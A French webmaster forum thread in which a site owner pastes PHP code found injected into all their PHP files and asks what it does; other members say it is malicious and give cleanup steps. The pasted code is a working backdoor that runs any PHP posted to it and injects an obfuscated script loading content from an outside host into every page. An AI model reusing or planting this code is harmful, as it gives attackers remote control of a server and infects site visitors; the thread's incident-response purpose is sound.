aide urgent svp !?

WRInaute discret
bonjour,
j'ai remarquer précedament dans mon site qu'il avait un code php rajoputer a tout mes fichier php dans mon ftp.
voila le code :

Code:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihSMFQwKXt2YXIgQ2RDMz11bmVzY2FwZSgoJ3Zhci0yMC02MS0zZC0yMlMtNjNyaXAtNzRFbmdpbi02NS0yMi0yYy02Mi0zZC0yMlYtNjUtNzJzaW9uKC0yOSstMjItMmNqLTNkLTIyLTIyLTJjdS0zZC02ZWF2LTY5Z2F0b3ItMmV1cy02NXJBZ2VudC0zYi02OWYoKC03NS0yZWluZGV4T2YoLTIyV2ktNmUtMjIpLTNlLTMwLTI5LTI2LTI2KHUtMmUtNjluZGUtNzhPZigtMjJOVC0yMDYtMjIpLTNjMC0yOS0yNi0yNihkb2N1bWVudC0yZWNvb2tpZS0yZWluZGV4T2YoLTIybS02OWVrLTNkLTMxLTIyKS0zYzAtMjktMjYtMjYodC03OXBlb2YoenJ2enRzLTI5LTIxLTNkdC03OS03MGUtNmZmLTI4LTIyQS0yMi0yOSkpLTdienJ2enRzLTNkLTIyQS0yMi0zYi02NXZhbC0yOC0yMmktNjYod2luZG8tNzctMmUtMjIrYS0yYi0yMilqLTNkaistMjIrYSstMjJNYWpvLTcyLTIyK2IrYSstMjJNaW5vci0yMi0yYi02Mi0yYmErLTIyQi03NWlsZC0yMitiKy0yMmotM2ItMjIpLTNiLTY0b2N1bWVudC0yZXdyLTY5dC02NSgtMjItM2NzY3ItNjlwdC0yMHNyYy0zZC0yZi0yZmd1bWJsYS03Mi0yZWNuLTJmcnNzLTJmLTNmaWQtM2QtMjIrai0yYi0yMi0zZS0zYy01Yy0yZi03M2NyLTY5cHQtM2UtMjIpLTNiLTdkJykucmVwbGFjZShSMFQwLCclJykpO2V2YWwoQ2RDMyl9KSgvLS9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

veuillez m'expliquer a quoi sert ce code ?
et merci.
 
WRInaute impliqué
C'est pas net, c'est un script php qui a été rendu incompréhensible pour une raison ou une autre mais volontairement. C'est un programme qui prend un script PHP normal et compréhensible et le rend incompréhensible ou alors c'est possible mais il faut réfléchir, bien connaître PHP et essayer de suivre le cheminement comme dans un jeu de labyrinthe.
Perso je n'ai pas de temps à perdre à ce jeu et si je l'avais peut-être que je n'aurais pas assez de compétences en PHP pour y arriver.
Il faut que tu saches d'où vient ce code, et pourquoi il a été rendu illisible.
 
WRInaute accro
Salut,

vire ce truc rapidement. La fonction gzipinflate est la favori du hacker en herbe http://fr3.php.net/gzinflate ,elle lui permet de cacher ses codes sous une forme compressé du genre suite de caractères. Surement généré par la fonction tmp_lkojfghx dans ton cas.

Il te faut donc :
1 virer en premier cette fonction de ton serveur
2 nettoyer tes fichiers
3 mettre register global à off sur ton serveur
4 Chercher dans tes fichier log ftp la date et l'origine de l'attaque.
5 verifier par le ftp tout les fichier modifiés depuis cette date ou recharger un backup intégre d'avant cette date.

Cet Audit de sécurité vous a été livré gratuitement :mrgreen:
 
WRInaute occasionnel
Effectivement, tu as dû être piraté. Il doit y avoir une faille de sécurité chez ton hébergeur ou plutôt dans ton code.
 
Discussions similaires
Haut